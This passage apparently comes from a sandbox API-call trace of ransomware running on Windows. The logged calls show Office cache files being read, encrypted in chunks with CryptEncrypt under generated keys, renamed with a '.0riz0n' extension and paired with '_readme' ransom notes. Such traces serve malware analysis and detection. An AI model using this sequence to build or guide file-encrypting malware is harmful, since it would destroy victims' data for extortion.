lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0070.556] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0070.666] FlushFileBuffers (hFile=0x1f0) returned 1 [0070.692] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1400000 [0070.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0070.693] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0070.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0071.070] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0071.115] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0071.158] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0071.237] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1400000 [0071.237] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0071.352] FlushFileBuffers (hFile=0x1f0) returned 1 [0071.378] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1e00000 [0071.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0071.378] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0071.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0071.716] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0071.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0071.802] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0071.882] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1e00000 [0071.883] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0072.016] FlushFileBuffers (hFile=0x1f0) returned 1 [0072.042] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x2800000 [0072.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1c6dc0) returned 0x2d60020 [0072.043] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x1c6dbd, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x1c6dbd, lpOverlapped=0x0) returned 1 [0072.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1c6dc0) returned 0x2f30020 [0072.101] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0072.109] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2f30020) returned 1 [0072.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1c71c0) returned 0x2d60020 [0072.135] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x1c6dbd, dwBufLen=0x1c71bd | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x1c6dc0) returned 1 [0072.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0072.157] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x2800000 [0072.157] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x1c6dbd, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x1c6dbd, lpOverlapped=0x0) returned 1 [0072.171] FlushFileBuffers (hFile=0x1f0) returned 1 [0072.179] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0072.179] NtClose (Handle=0x1f0) returned 0x0 [0072.432] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.0riz0n")) returned 1 [0072.433] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0072.433] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0072.433] GetLastError () returned 0x2 [0072.433] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed66e8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0072.433] GetLastError () returned 0x2 [0072.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0072.434] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0072.434] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0072.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0072.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0072.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0072.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0072.435] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0072.435] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3ffc90b0, dwHighDateTime=0x1d59598)) returned 1 [0072.435] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0072.435] NtClose (Handle=0x1f0) returned 0x0 [0072.436] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0072.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0072.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0072.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0072.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0072.479] CryptDestroyKey (hKey=0x459b38) returned 1 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0072.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0072.480] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0072.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0072.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0072.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0072.480] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0072.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0072.480] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0072.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0072.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0072.481] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0072.481] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0072.481] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0072.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0072.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0072.481] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0072.481] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0072.481] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0072.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0072.482] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0072.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0072.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0072.482] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0072.482] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0072.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x267e00) returned 0x2350020 [0072.483] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x267e00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x267e00, lpOverlapped=0x0) returned 1 [0072.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x267e00) returned 0x25c0020 [0072.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0072.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x267e00) returned 0x2350020 [0072.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0072.690] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0072.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x268200) returned 0x25c0020 [0072.818] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x267e00, dwBufLen=0x268200 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x267e10) returned 1 [0072.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x267e40) returned 0x2830020 [0072.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0072.873] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0072.883] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0072.883] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x267e00, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x267e00, lpOverlapped=0x0) returned 1 [0072.911] FlushFileBuffers (hFile=0x1f0) returned 1 [0073.138] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.138] NtClose (Handle=0x1f0) returned 0x0 [0073.176] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.0riz0n")) returned 1 [0073.177] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0073.177] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0073.177] GetLastError () returned 0x2 [0073.177] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6708, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0073.177] GetLastError () returned 0x2 [0073.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.178] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.178] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0073.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0073.179] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0073.179] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x406ed2b0, dwHighDateTime=0x1d59598)) returned 1 [0073.179] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.179] NtClose (Handle=0x1f0) returned 0x0 [0073.180] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0073.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0073.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0073.191] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0073.191] CryptDestroyKey (hKey=0x459b38) returned 1 [0073.191] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0073.191] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0073.191] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.191] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0073.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0073.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0073.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0073.192] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0073.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0073.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.192] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0073.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0073.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.192] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, 